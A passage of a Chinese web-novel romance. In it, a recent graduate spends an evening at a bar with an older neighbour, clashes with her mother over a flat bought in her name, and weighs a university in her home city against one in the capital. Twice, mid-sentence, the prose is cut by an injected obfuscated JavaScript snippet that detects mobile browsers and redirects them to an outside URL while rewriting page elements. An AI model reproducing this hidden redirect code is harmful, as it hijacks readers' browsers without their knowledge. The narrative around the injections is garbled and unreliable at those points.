“又不是西餐厅,也不是拉小提琴。再说了,难道你想给小费?” 骆静佳摇摇头。 “那不就是了。”周庭裕往后一仰,又变得坐没坐相。 离上菜还有一段时间,他嘴巴闲不住,问道:“你第一次来这种地方?” 骆静佳点点头。 “平时周末你爸妈不会带你出去玩吗?”他随口一提。 骆振国与其说很忙,不如说是很有责任感,平时厂里有个什么事,不管有用没用,总有人叫他,而他也乐意去。 至于林素萍,则是没这种腔调,并常常吐槽那些越开越多的网红店,中看不中用,没有性价比。 骆静佳也很少会和同学出去玩。 她拿起桌上那杯温水,抿了一口,摇头。 周庭裕在转勺子,像个多动症患者。见她一直点头摇头,他诶了一声:“干嘛这么冷漠,跟我说说又不会少块肉。” 骆静佳坦言:“没有这种经历,总不能编吧?” 她可以跟舍友撒谎毕业旅行去西藏,却无法向周庭裕杜撰不存在的回忆。 她语气平静,面无表情。却像镇定剂,打进周庭裕的神经里,让他停下了动作。 骆静佳猜他此刻肯定心生怜悯,觉得自己好可怜。 明明父母都在身边,却连这种程度的温馨都没感受过。 服务员过来上第一道菜,骆静佳有点如释重负。 她用眼神示意周庭裕动筷吧,却意外发现他目光定在桌沿,并不如她猜测般愧疚,而是有些茫然。 听到动静,他慢半拍地放下勺子,朝骆静佳一笑。 “我没有恶意,就是随便聊聊。” “我知道。”他虽然有些不着调,却没什么坏心眼。 醋溜白菜酸得倒牙,骆静佳整张脸都皱在一起。 周庭裕喃喃道:“其实我也没有。” 这种回忆。 骆静佳没听到:“什么?” 他已经恢复如常,夹起摧残她味蕾的白菜:“没什么。” 见周庭裕咀嚼时一点反应也没有,骆静佳喝完半杯水,仍拧着眉问:“你不觉得酸吗?” “我觉得正好。”他眨眨眼,吞下一大口,“我喜欢吃醋。” 骆静佳无话可说,剩下一盘全让给他。 如他所言,吃饭吃到一半,二楼就开始有歌手唱歌了。 楼下的食客进食完以后,大部分离席的人都移步楼上小酌。 骆静佳看着他们经过,心里的那点警惕慢慢松懈。 周庭裕适时地提出:“我们要不要也上去坐坐?在一楼消费过了,不一定要喝酒的。” 骆静佳同意了。 结果一上去,他又和人打上招呼了。 二楼的空间比一楼要开阔得多,酒架也更多。骆静佳边等他边好奇地转着眼珠。 歌手刚好唱完一曲,台下爆发出一阵喝彩,乐队和观众互动起来,今晚的场已经热好了。 一个打耳钉的男生滑到骆静佳面前:“美女,要来一杯我的精心特调吗?” 骆静佳“啊?”了一声。 她没应付过这种场面,一时无言。 倒是周庭裕眼疾手快地把她拉过,指着那人说:“你没看到她和我在一起啊?要找小白鼠走远一点。” 骆静佳被“在一起”这三个字吓得半死。 她惊悚地盯着周庭裕扯着她衣服的指节,非常用力,非常不温柔——怎么看怎么像袋鼠妈抓袋鼠崽。 可没人觉得这说法有歧义,也不像台球厅那群人一样追究身份,耳钉男被骂了还笑嘻嘻的:“知道了,那你喝不喝?” 周庭裕沉吟半秒,“来一杯吧。” “老规矩?” “老规矩。” 就在吧台坐下了。这里视野好,不用进去和别人挤来挤去也能看到舞台、听到歌,还相对安静。 骆静佳摸着柠檬气泡水的杯壁,问:“老规矩是什么?” 周庭裕唔了一声,好像告诉她的话会很为难。 其实他也只是卖个关子,见她真的好奇,答道:“我常喝的一种酒,叫仲夏夜之梦。” 她没有一点听到秘密的惊喜,反而一脸失望:“原来你真的是不良少年。” “……” “哈哈。”背过去调酒的耳钉男没忍住笑出声来。 周庭裕侧过身,把椅子拽近,“不是,你怎么得出这个结论的呢?喝酒就是不良少年了?” 骆静佳拿出第二证据:“你还抽烟。” 他疑惑了:“什么时候?你看到了?” 她提醒:“刚刚,台球厅。” 他无语了:“我又没接。” 她冷笑:“是顾忌我吧。” 他真笑了:“我都带你出来玩了,我还顾忌你干什么?拜托,乖乖女小姐,你以为现在还是高中,我们还是未成年人吗?” 她声音冷下来:“那你为什么不接。” 他很无辜:“因为我真的不抽。回头看你是怕你先走了。” 骆静佳盯着周庭裕看了十秒,期间没眨过眼,周庭裕不甘落后,和比赛起来。 最后是她先移开视线,端起气泡水递到唇边。 周庭裕受伤了:“你误会我,不和我说对不起?” 骆静佳很冷淡:“是你让我误会了。” 她掷地有声:“我没错。” 周庭裕倒吸一口凉气,一时竟不知道要怎么反驳。 习惯了礼貌疏离的她,突然无理取闹起来,倒让人觉得更棘手了。 耳钉男端来“老规矩”,笑着摇头:“遇到克星了。” 周庭裕瞅了他一眼。 骆静佳用吸管搅动着杯子里的气泡,但注意力全被他的老规矩吸引走了。 酒杯里神奇地装载着多种颜色,深蓝沉入杯底,宛如夜色下的海水。而上层的紫罗兰仿佛夏天的星空。液体晃动时深浅的边界越发融合,天与海,梦与星,混为一体。 周庭裕见她目不转睛,开玩笑似的问了句:“要尝尝吗?” 骆静佳谢绝了。 虽然不知道度数和口感如何,但在音乐和酒精香气的熏陶下,她勉强承认这并不是什么声色场所。 台上歌手正好唱到“有一种浪漫的爱是浪费时间”,骆静佳没忍住回头观望。 她今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394637|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天没戴鸭舌帽,一个十分圆润的脑袋在周庭裕眼皮子底下晃来晃去,他忍住自己想伸手拍一拍揉一揉的心情。 骆静佳侧过身,他也侧过身,单手支在吧台,托腮看她像好奇宝宝一样左看右看。 在她回头问他这是什么歌的时候,他回答:“林宥嘉的《天台》。” 她喃喃道:“没听过。” 她的歌单里不是郭静就是孙燕姿。 他突然提议:“那要过去听吗?” 骆静佳眨眨眼。 一双湿润的眼睛在暖黄色的吊灯里显得十分动人。 他一直知道她的长相是偏楚楚可怜的类型,但是因为倔强和独立的性格,所以多数时候显得冷淡又疏离。他也习惯了被她冷脸相待。 所以蓦地接受到她无声的期待,周庭裕一愣。 他跳下椅子:“那走吧。” “真的?” “很远吗?”他声音含笑。 正是意浓时,附近的位置都已经被酒鬼和歌迷包揽,但周庭裕还是给她找出了一个落脚的地方,并跟在身后,以免她被人挤撞。 距离的远近确实会影响体验的感受,骆静佳第一次站到这种地方,也是第一次用不带耳机的方式听歌。 她过去听歌只是为了静下心来,或者打发一下需要放松的时间,紧绷的状态往往不会因为曲毕而终止。 可这一刻,被响彻天际的贝斯和鼓声震撼耳膜,被抒情嗓音穿透听觉的这一刻,骆静佳突然产生了一种错觉——她好像就是为了这个瞬间而存在的。 周围有人在跟唱,她被氛围带动,嘴唇嗫嚅着吐出几个音节。 可她根本没听过这首歌,不知道下一句是什么,也没有勇气开口。 “没人听得见。”周庭裕突然垂首,附在她耳边说话。 骆静佳因为这个举动,在如此喧闹的环境下,依旧听到了自己心脏咚的一声,发射了。 别人听不见,但他听得见。 她没回头,被潮水似的音乐带动着,像个牙牙学语的婴儿一样开口。 跌跌撞撞,踩错音符。 吉他手用自创的旋律给每首歌都来了一个不常规的收尾,周围安静下来,骆静佳却还意犹未尽。 原来这个世界上真的有一件事情,不需要“擅长”就可以去做,做错了也不用愧疚。 周庭裕又在后面扯她的马尾,轻轻拔了一下。 她回头瞪他。 这人为什么总是扯她的头发? 丝滑似溪水的发丝淌过他的手心,像某种动物的尾巴。 周庭裕假装没看到她的控诉,问她:“怎么样,还觉得这种地方不正经吗?” 骆静佳还没来得及说话,舞台又亮起来。 周庭裕才听了个前奏,就骂了句国粹,拉着她的胳膊要走。 骆静佳被拽得一愣,就听到一句“Make me water……Make me sweet……” 其实每个清吧都少不了这种暧昧大胆的小黄歌,但他才刚和骆静佳得瑟完,意图为自己正名。 结果下一秒就打脸,也太没面子了。 周庭裕说:“差不多该回去了。” 骆静佳看了看手表,居然已经接近十点了。 她点点头,走的时候发现,周庭裕不知道什么时候已经把仲夏夜之梦给喝完了。 耳钉男挥着手,让他们下次再来。 骆静佳下意识应了。 周庭裕下楼梯的脚步一顿,回头难以置信地问:“你理他干嘛?” “什么。”她懵了一下,“就,客套一下啊。我总不能装没听到吧。” 他气短,哐哐铛铛地下楼。 一出来,空气都清新了不少。 今夜有月,莹白柔和的光给深沉的夜晚增色,让这个日落后的晦暗时刻,变得温柔且宁静。 他们回去不必折返,往前走就可以。 这一带是居民楼,早就睡了。两人漫步在路灯下,好像又回到了这个假期第一次碰面那天。 不同的是,多了一点回忆。 所以当周庭裕问起她的意向时,骆静佳也变得诚恳了一点。 他自顾自说:“理科的选择应该很广泛吧。” 她却不认同:“但学起来很难、学不下去的专业也很多。” 他意外道:“你也会有这种烦恼?” 她觉得他在阴阳怪气,“我又不是机器人。” 他笑了:“我以为你是呢。” 她不服:“为什么?” 他岔开话题:“那我作为学长,根据一些朋友的选择,给你一些建议?” 她收敛表情:“请讲。” 他开始犯贱:“那你先喊我一声学长。” 骆静佳蓦地加快脚步。 他立马妥协:“好好好,我说我说。” “比较热门的大方向,比如新能源、航天航空、生物制药、信息安全、人工智能,你对哪个比较感兴趣?” “都一般。”读书对她来说的,最终目的只是为了谋生。 “那你今天查资料的时候,有了解过这些领域,还有对应的专业吗?” “有。”她的话变简洁了。 周庭裕意识到她是真的兴趣寥寥。 好吧。 “那你有什么梦想?或者比较想学的?” “没有。” “那你当初干嘛选理科?” “因为我理综能考两百七。” 周庭裕眼皮跳了跳:“这是你的高考分数吗?” “高考还要多五分。” “……” 他捂住自己跳动的胸口,不知道为什么好兴奋啊! “去造火箭吧。”他语气突然郑重,“骆静佳同志,到你为祖国作贡献了。” 骆静佳看他的眼神像见鬼,但他居然记得她的全名? 那就说明起外号这事,是他故意的咯? 她脸色一下冷下来:“你发什么神经。” 他被骂习惯了,但还是第一次被她骂,脚步都变得凌乱起来:“我说真的。” “不去。” 她如果真的造出了火箭,第一件事就是把他发射到火星去。 “好吧。那不如去学软件工程?我看你游戏打得不错,以后开发新游戏记得送我皮肤。” “……” “这也不喜欢?行,那……生物吧,以后去当研究员也不错,如果能研发出不用锻炼也能保持腹肌的神奇药丸就更好了。” “……” 听了他一路的碎碎念,听到最后骆静佳都笑了,除了真的好笑以外,她还觉得很神奇。 他们竟然会有这样一天。 小巷里隐隐传来狗吠,有风摇动树影,在昏黄的灯下张牙舞爪。 天幕上突然闪现几颗黯淡星子,或许是早就在那里了,只是人们现在才看清。 骆静佳和他并肩走着,闻到他身上淡淡的利口酒香气,想起他的“老规矩”。 其实对她来说,今夜何尝不是一场仲夏夜之梦。 他絮絮叨叨半天,才发现她在笑。 问她笑什么,她说:“还好我比你小一岁。” “如果和你同届又同班的话,我大概连大专都考不上吧。” “……” 9. 春眠(9) 又过了两天,陈行逸回来了。 他把自行车停在周庭裕家楼下,噔噔噔提着快融化的冰棒上楼,结果差点撞上精心打扮过的骆静佳。 少女上身一件薄荷绿娃娃领短袖,下身一件纯白半裙,一半长发被小巧的鲨鱼夹挽住,另一半则柔顺地垂在肩头,加之明丽的五官,整个人看起来温婉娴静。 大抵是陈行逸的红发太显眼了,所以骆静佳记得他,并在他下意识的抱歉声中微微点头,示意没事。 陈行逸也跟着点头,看着她捧着手机匆匆离去的背影,他差点忘了自己还买了冰棒。 隋安咬着快要融成水的碎冰冰,夹紧两腮用力吸。 陈行逸越看她越觉得可爱,但一扭头,看到她哥,又忍不住翻白眼。 周庭裕以一个很诡异的姿态梗在沙发上,像一张折叠椅。 陈行逸给了他一下:“怎么突然开始展示身体柔软度了?” 周庭裕没理他,陈行逸便自顾自地说:“对了,我刚才在楼下碰到你‘妹子’了。” 他不知道骆静佳叫什么名字。 “是吗。”周庭裕淡淡的。 隋安凑过来,疑惑:“哥哥除了我,还有别的妹妹?” 陈行逸故意抹黑:“是呀,他的好妹妹可多了。” 周庭裕还是没反应。 等隋鸢做完美容回来了,带小孩的任务结束,两个人终于能够坐下来好好玩游戏了。 陈行逸为了赎重色轻友的罪,还特地买了最新款PSP来和周庭裕分享。 玩到一半,两人正在经历最艰险的关卡,周庭裕突然冒出一句。 “她跟你打招呼了吗?” “什么?”陈行逸一愣。 周庭裕自言自语:“应该没有吧。” 这几天骆静佳忙着上班,都没来过。 前天,她应该是找隋鸢要了他的微信,突然发来了好友申请。 周庭裕挑眉,通过以后第一句话就是:“买手机了?” [A]:是的。 [A]:[转账]100 他躺在床上翻了个身,回了个[?] [A]:a你吃饭的钱,多退少补。 还多退少补…… 周庭裕服了,点了返还,回:[算我请客。] 骆静佳又转了一次,但没有回复他的话。 周庭裕觉得是自己要带人出去吃饭听歌的,所以这钱他来出,没毛病。 这回他当没看见。 结果就是,后来在楼下碰到,骆静佳直接装作没看见他。 周庭裕一头雾水,怎么好人没好报啊! 这会儿陈行逸说:“有啊,点了下头。” 虽然是他在道歉,所以对方才回应的,但是作为校友,陈行逸将这个行为视为“打招呼”。 周庭裕猛地看过来。 陈行逸惨叫一声,他干嘛突然站那不动! “她有跟你说什么吗?” “没有啊,我们不就是点头之交,能说什么?操,你快跟上来啊,想被人砍啊?” 周庭裕继续前进,陈行逸突然又说:“不过近看才发现她长得挺漂亮的,撞上的时候我都不敢看她的眼睛。” 他话音才落,就发现周庭裕一个转弯,迎着敌人的武器,一头把自己撞死了。 “……” 陈行逸刚要骂人,就听到他说:“如果我现在请你吃饭,你会开心吗?” “废话。”陈行逸决定一笔勾销,笑得贼眉鼠眼,“你要请我吃什么?” “但我没有提前跟你说,我只是后来告诉你不用a钱了。”周庭裕比划着,好像确有此事,“这样也会开心吗?” “开心啊,白嫖怎么不开心。” 周庭裕陷入了沉思。 他憋出一个“那”字,等了一会儿才接下去:“如果是你已经a了我钱,但是我不肯要呢?” 陈行逸眼神诡异:“首先我不是你说了请客我还会给钱的人,其次你不是有钱不收的人。” 周庭裕说:“我还真没收。” “那我就会觉得你这小子有事了。” “……” 周庭裕不说话了,陈行逸把话题绕回去:“话说你妹子叫什么名字?有空介绍我俩认识一下呗。” 周庭裕丢掉手柄起身,“小心我告诉你女朋友。” “不是,我没那意思。” “你去干嘛?” “喝水!” - 骆静佳今天特地请了下午的假,去参加班级聚会。 暑假刚开始的时候事情太多,加上分数又没出来,大家不好提前开香槟。现在尘埃落定了,也就没那么紧张和拘束了。 最重要的是,假期实在太长太无聊了。 约在一家小饭店,同学家里人开的,骆静佳坐课代表那桌。 好学生们的热门话题当然是还没提交的志愿填报,有人已经问过老师,也有人家里给了不少建议。 骆静佳听在耳朵里记在心里,默默调整自己的院校排序,突然发现大家说的和周庭裕那天瞎扯似的话差不多。 突然有人问她:“你呢,静佳,你志愿填好了吗?” 骆静佳点头。 “打算去哪里?” 她谦虚地说:“最好能上京科大吧。” “很不错啊,祝你梦想成真。” “谢谢。” 寒暄完,她垂下头偷偷玩手机。 工资一发下来,骆静佳就去买了。店员听她说自己是高三毕业生,还建议她拿了录取通知书再来买,可以享用大学生优惠。 但骆静佳等不了了,她渴望拥有自己的手机很久了。所以狠下心,贵几百块就几百块吧! 她发消息给现在还不见人影的赵琳琅:[你怎么还没到?] 赵琳琅秒回:[根本就没打算去。] [A]:? [赵琳琅]:我考的又不怎么样,去听他们吹牛有什么意思。 骆静佳知道她胸无大志,考成什么样都没什么所谓,但赵父赵母一直劝她复读。 两人刚复联那天赵琳琅就大倒苦水,说自己父母是如何数落她无从下手的分数,又忍不住羡慕骆静佳从此高枕无忧。 骆静佳不禁反问:“羡慕我?” 要知道赵琳琅以前最看不起的就是她们这种好学生,那种争分夺秒的做派,太紧绷了。 而骆静佳偶尔也会觉得,不用像她这么放肆,但松弛一点也可以。 可惜,她做不到。 那根弦稍稍偏移,她就警铃大作。 赵琳琅下一秒就改口:“开玩笑而已,让我勤勤恳恳循规蹈矩像坐牢一样读三年书,我不疯才怪。” 骆静佳笑了:“那不就是了。这么说的话我还羡慕你呢,这三年玩了个爽。” “没错,起码我认真感受了青春!” 说到最后赵琳琅自己释怀了,直言有书读就可以。 说完不忘关心骆静佳:[说了半天,你呢,天南海北,选择了什么新地图?] 骆静佳愿意和她说真话:[我想去京都。] 考虑到经济和资源,无论是读书还是就业,想去京都是再正常不过的事情……可不知道为什么,骆静佳有一点点心虚。 可能是她的真话并不完整,对待好朋友仍抱有秘密。 赵琳琅说:[我爸妈也建议我去大城市,学校差点无所谓,重要的是把眼界打开。] 她家境不错,父母能给的建议也很中肯。 骆静佳回了个嗯。 赵琳琅便说:[你这个分数肯定没问题的,那就祝我们在新世界重逢吧!小佳佳【色眯眯.jpg】] 骆静佳无语了。 有人给她添饮料,她条件反射地说了声谢谢。 小饭馆的采光很好,外面的马路被晒得闪闪发亮,骆静佳从屏幕中抬头,有些发愣。 新世界……吗。 - 聚餐结束得比想象中早,他们接下来要去ktv续摊,骆静佳婉拒了。 临走时,听到过去关系还算不错的同学和别人议论她:“她啊,什么都好,就是太乖了。” 骆静佳装作什么都没听到,抬步向前走。 她并不在意别人如何评价她,因为在大多数人面前她都带着利于“通过”的面具。 如果能回避矛盾、节省麻烦,她宁愿被误解。 更何况,更大人的地方,她已经去过了。 骆静佳很不合时宜地骄傲了一下,并马上原谅了自己的虚荣和幼稚。 回家之前,骆静佳想到什么,去银行取了一百块现金。想了想,怕真的不够,又取了一百。 她才走到家楼下,就接到林素萍的电话,问她在哪。 得知骆静佳已经回来了,那边传来急切的脚步声和锁门声,林素萍拜托邻居帮忙看着奶奶,不多时便出现在了骆静佳面前。 她正疑惑呢,就被抓住手腕带着走了。 “去哪啊这么着急?” “去看房啊!刚才售楼处的人打电话给我了,说他们内部有一个新优惠,比我们之前去看的时候便宜了好多呢!” 骆静佳心下一动,本来想推脱的话顿时咽了回去。 怕坐公交会耽误时间,林素萍难得阔绰,直接打车去的,足以见得她对这件事很上心。 一路上她都在描绘蓝图,骆静佳难得没有郁闷和反驳的心情,和她一起沉浸在对新生活的向往里。 但林素萍还是忍不住抱怨了一下:“我打电话给你爸叫他一起去,结果他说那边走不开,唉!你说说他这人,对自己的家的事情从来不上心……” 骆静佳已经习惯了。 不过家里的收入基本上都依靠骆振国的工资,这两年的骆静佳倒是有一点理解他了。 到了小区门口,穿职业装的销售早早就在门口等候了。 林素萍没来得及换衣服,女儿却穿得清爽优雅,销售一眼就分析出了她们的家庭架构,在心里翻出一套针对这类顾客的话术。 “我们这边属于新开发地区,虽然附近还没有太多商铺,但是从交房到装修最少也需要一年,到时候会陆陆续续进场的。” 林素萍拿了一份他们的户型图,看了又看,算了又算,觉得一百平内左右最划算,提议去看看。 “当然可以。”销售在前面带路。 骆静佳挽着她的手,忍不住问:“九十多平做三室一厅,会不会太小了?” 林素萍却说:“要三室一厅干什么?两室就够了。” 骆静佳不语,那奶奶怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17394638|200349||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办? 爸妈难道是想把奶奶单独安置在家属楼吗? 可这样跑来跑去地送饭、照顾会很麻烦。 还没等骆静佳想清楚,就到了。 “我们这边是一梯两户,墙壁用的全是最新的隔音材料,平时只要不是搞活动,都很安静的。” 销售说着说着就把话题引到骆静佳身上。 “像骆小姐这样的年轻人,应该是不太喜欢吵闹的,这个你们可以完全放心。” 骆静佳越听越觉得不对劲,但是林素萍却越看越满意。 她们走进主卧,林素萍说了一句:“这里放床,窗边放书桌正好,你不是喜欢看书吗?” 骆静佳吓坏了:“你要把主卧给我住?” 林素萍一愣,才想起来没和她说呢。 妈妈乐呵呵道:“什么主卧给你住,这房子就是买给你一个人的,你想睡厨房都没人理你。” 这俏皮话却没有勾起骆静佳一点笑容,反而让她脸上的血色褪色了个干净。 后来又看了几套小户型,销售直接问骆静佳喜欢哪一套。 骆静佳沉默,林素萍说:“她才刚高考完,小孩子家家的哪里懂这些。” 销售赶紧拍马屁:“我们这里以后肯定会涨,现在买,以后无论是上学还是结婚都很划算。林小姐您真是爱女心切,早早给女儿打算好了。” 林素萍咯咯地笑:“结婚还早呢!主要是上学,我啊是希望她能考个离家近一点的学校,以后回来工作也方便嘛。” 销售适时地提问:“令媛成绩应该很不错吧?” 林素萍这时倒学会委婉了:“南大肯定没问题。” 骆静佳看着销售惊艳的目光,一言不发。 为了压到底价,林素萍没有立刻交钱,而是说明天还要去另一个小区看看。 回去的路上,妈妈问她满不满意,骆静佳抿了抿唇,终于忍不住了:“买给我的是什么意思?你们以后不过来住吗?” 林素萍说:“你要是想爸爸妈妈过去住也可以啊,那就留着次卧当客房嘛。” “我不是这个意思。当初明明不是这样说的……”骆静佳有点崩溃了,“当初不是说好一起搬新家的吗?你不是也一直想离开星河巷吗?” 林素萍很平静:“那都是年轻时的事了,现在年纪上来了,反而念旧了。” “妈!” 骆静佳到现在还记得林素萍羡慕的眼神,每次去吃邻居的迁居宴,回来她都会和骆振国商量买房子的事。 “好了,佳佳。”林素萍打断了她的回忆,“这件事情是我和你爸爸一起决定的,你不用觉得愧疚。” “我们就你一个女儿,不为你打算为谁打算啊?这套房子也算是你的嫁妆了,名下有资产,以后去了婆家才不会被看轻。我知道你很想爸爸妈妈和你一起,但是现在你也长大了,成年了,马上就要上大学了,有的路总是要一个人走的呀。再说了,一家三口再带个奶奶,没有一百二十平是挤不下的,家里哪有那么多钱?还不如供你。” 骆静佳的五指攥成拳,手心全是热汗。 她看着外面的艳阳,看着人行道上被滚滚热浪冲袭的路人,仿佛自己也置身烈日之下,一颗心更是被丢进无边炼狱。 林素萍又说到志愿和工作,说到家里哪个亲戚现在在南城的哪个管理所工作,每个月发多少钱…… 骆静佳却一点声音也听不到了。 她满脑子都是,别这样啊。 如果从一开始就没打算放手,为什么要赠予她一双翅膀,又为什么要放任她生出丰满的羽毛。 别这样啊……别这样啊! 这样她还怎么高飞。 - 陈行逸没留下来吃饭,他家离这里很近,于是和周庭裕约好八点出来打篮球。 周庭裕磨蹭到七点五十九才出门,连睡衣都没换,配条大短裤,通风。 隋鸢念了他几句,他充耳不闻,和隋安说了拜拜就走了。 结果走到一半,陈行逸打电话过来:“是你带球吧?” 周庭裕拔高声音说了句“什么?!”,百米冲刺回去。 在家里找了半天才找到一个瘪掉的篮球,周庭裕认命地往文具店去。 文具店在公园对面,周庭裕路过公园的时候看到一个人在堆沙子,堆得特别高,让人叹为观止。 他没忍住多看了几眼,脚步没停。 正好红灯,他又抻长了脖子去看,想看清楚那人在堆什么。 结果越看越觉得不对劲。 骆静佳在挖城堡。 她想玩沙很久了,奈何她年纪相对喜欢玩沙的孩子来说太大了,再加上目睹过楼里的小孩往楼下的沙坑撒尿,她有点膈应。 她其实已经玩累了,只是不想回家,又不知道去哪里,只好一直挖。 那双限量款球鞋停在眼前的时候,她不用抬头就认出来了。 骆静佳心一沉,觉得自己有点倒霉。 她美美地出门没碰上他,现在浑身是汗、头发都油了,他反而出现了。 好狼狈啊…… 他还不依不饶地问:“你在这里干什么?” 骆静佳不情不愿地仰头,刚要回答。 结果视线抬高,入目就是一条大短裤。 “……” 10. 春眠(10) 夏夜天黑得晚,即便已经晚上八点,夜幕却仍未彻底暗透。 晚霞散去,华灯初上,空旷的沙地上倒映着两道人影。 一个蹲着抬头看,一个猛地捂住裤.裆。 “……” 死一样的沉默。 骆静佳的目光从他的鞋,划过他修长结实的小腿,再看到他挡在重点部位前的双手。 不知道是不是周庭裕的错觉,他总觉得骆静佳的目光在他手背上停留的时间比其他地方久。 其实她本来没有要看的,是这个人自己欲盖弥彰。 再看他那羞愤欲死的表情,骆静佳在心里冷笑了一声。 每次都这样。 明明是他自己不知检点,却搞得好像是她占了他便宜似的。 骆静佳站起来,从口袋里掏出下午去取的现金,两张都拿了出来,递给他。 周庭裕懵了,没动:“什么?” “还你的。”他没收转账,那她只好给他现金。 他看着那两张红色人民币,古怪道:“才过去几天,就从一百变成两百了?我又不是放高利贷的。” 骆静佳拍干净腿上的沙子,站起来,把钱插进他交叠着压在小腹前的手腕里。 她表情淡漠,说出来的话却让人如遭雷劈。 “还有一百是给你的精神损失费。上次加上这次,虽然不是我自愿要看的,但是还是不好意思。” “……” 虽然事情已经发生了,但是说出来和没说出来的性质却不一样。 她现在不仅说出来,还付费了! 周庭裕感觉自己真的要被气晕过去了。 事实上他的大脑也确实陷入了短暂的昏迷,等他回过神来时,骆静佳已经走出一段距离了。 他刚要追上去,裆.部的两张纸钞就掉了下来。 “……” 他看着地上的钱,真是捡了羞愤一时,不捡后悔一辈子! 骆静佳慢吞吞地离开公园。 入口旁边就是斑马线,绿灯还有十几秒,但她并不想到那么快对面去,所以没有为了赶路而奔跑。 而已经站在绿灯面前的行人渐渐离她远去,落后的则加快脚步,怕红灯亮起,自己成为众矢之的。 骆静佳看着已经走到对岸,并四处散开,各自朝着目的地散开的人潮,那股掉队的落寞感像一个被刻意压入水底,却终会浮起来的气球一样,慢慢露出真实的面貌。 准备决堤的瞬间,旁边传来一句气喘吁吁的:“你今天不上班啊?” 少年的声音一下子将她拉回现实,骆静佳蜷了蜷五指,所有的感官回溯。 她嗯了一声,双手环胸,眉间的愁思未散。 周庭裕又问:“城堡不要了?” 她愣了一下,才反应过来他说的是沙池里的城堡。 骆静佳还很认真地想了想,才说:“不要了。” 反正也带不走。 她甚至有点后悔浪费那么多时间,去做了一件没意义的事。 只是当时那种心情,她没办法跟着林素萍回家,于是只好谎称和朋友有约。 心里有一万句话,哀求的、难听的、理智的、激动的,想说却不能说——因为家人做这件事的名义是“为她好”。 骆静佳垂下眼,越想越觉得压抑,越想越觉得绝望,尤其是今天和同学们聚完会,对新世界开始产生期待后。 其实她一直在等这一天,从前不敢妄想,是因为不确定自己是否有资格。 如今手握门票,却被告知她梦寐以求的乐园并不向自己开放,那种无力和恼火是如此攻心。 她正在天人交战,周庭裕突然在她眼前晃了晃手机屏幕。 骆静佳用眼神询问,他拿那张沙子城堡的照片说:“你不要,那就送我了。” “回头我就跟别人炫耀,说这是我堆的。” 幼稚。 骆静佳忍不住吐槽,却又忍不住羡慕他的开朗。 绿灯了,她还是没走。 周庭裕也没走。 陈行逸给他发了十几条微信,他只回了句:“有别的事了,咕咕。” [陈陈陈]:??? [陈陈陈]:死鸽子,滚啊! 周庭裕回了句么么哒。 旁边的骆静佳突然问了他一个问题。 “可能有点冒昧,你不回答我也可以。” 他早就看出了她心情不好,很是慷慨:“你说。” “为什么你可以这么乐观呢?”骆静佳真的想不明白,“像刚才,还有前几天那种事,如果发生在我身上,我肯定会尴尬得无地自容,且和目击者保持距离。” “……” 周庭裕侧身,歪头,认真端详了她一会儿,确认她脸上没有戏谑,才开始思考答案。 骆静佳不是真的在乎这些乌龙,只是目前她和周庭裕的关系只能让她借这些事情发问。 问题是真的,其他是掩饰。 她真正想知道的其实是,周庭裕是怎么熬过来的。 他高三的时候,家里只有他一个人。 那时候隋鸢在西城,周宏正在京都,他每天早起贪黑地上学,衣食起居都由自己包揽。 高三的早读比高二早十五分钟,纵使骆静佳自觉早起,却也追逐不上他飞驰而去的背影。 她常常跟在他身后,看过他衣角被风吹得翻飞,也看过他背脊被雨淋得湿透。 是他真的那么独立,还是不得不学会一个人生活? 又或者说,正是因为他有这样的能力,所以他才被赋予自由选择的权利? 她想问,还没独立怎么办,不自由怎么做选择,以及,在需要勇气的时候拿不出勇气,又该如何。 晚风卷着夏日的暑气袭来,吹到脸上都是热的。空气里弥漫着一股绿植的味道,很闷,感觉快要下雨了,已经有人在说快跑。 他们赶在雨落之前找到了一家便利店的屋檐,周庭裕进去买了两瓶酸奶。 骆静佳看着瓢泼似的盛况,他长久的沉默已经让她忘了呼吸,她又沉下去了。 空心的气球才会浮起来,灌满烦恼的气球在下坠。 他骨节分明的手伸过来,骆静佳在蓝莓和黄桃之间犹豫一秒,选了黄桃,并说:“谢谢。” “你总是这么客气。” 周庭裕在她旁边坐下,两个人沉默地喝着酸奶。 她在仰头看雨,他垂眸在看落在她脚边的水滴。 “因为我比较宽容?”他才给出回复,其实自己也想不明白,“发生都发生了,懊恼也没用。” 说是这么说,但周庭裕还是羞赧过一阵子的。 骆静佳嗯了一声,没接下去。 周庭裕等了一会儿,她还是没说话。 他有点郁闷。 虽然早知道她这个人就是十棍子打不出一个屁,但他还以为他们已经算得上“朋友”了呢。 店内的光落在地上,投出两道影子。 骆静佳看着短短一分钟内,周庭裕起码换了十次坐姿。 她很想问问他是不是身上痒,但她实在没心情。 最后是周庭裕先憋不住了,问她:“怎么了?” 他早做好了骆静佳会说没什么的准备,结果她毫不犹豫 地坦白:“我家里人想让我读南大,但我想去京都。” 周庭裕心一沉,先想到的是她的高考分数——就算她去了南大的王牌专业,也是吃亏的。 他当机立断地说:“别去。” 她愣了:“别去哪里?” “南大。”他看起来很着急,眉心皱起,手里的酸奶瓶都捏得瘪进去一角,“南大很好,但那不是你该去的地方。” 她磕磕绊绊地陈述:“可是南大离家很近,我平时回来也方便,毕业后也方便兼顾家人和工作,而且我听说现在很多学校和机关单位背地里会为本地的南大毕业生开绿灯……” “所以你以后是想回南城工作?” 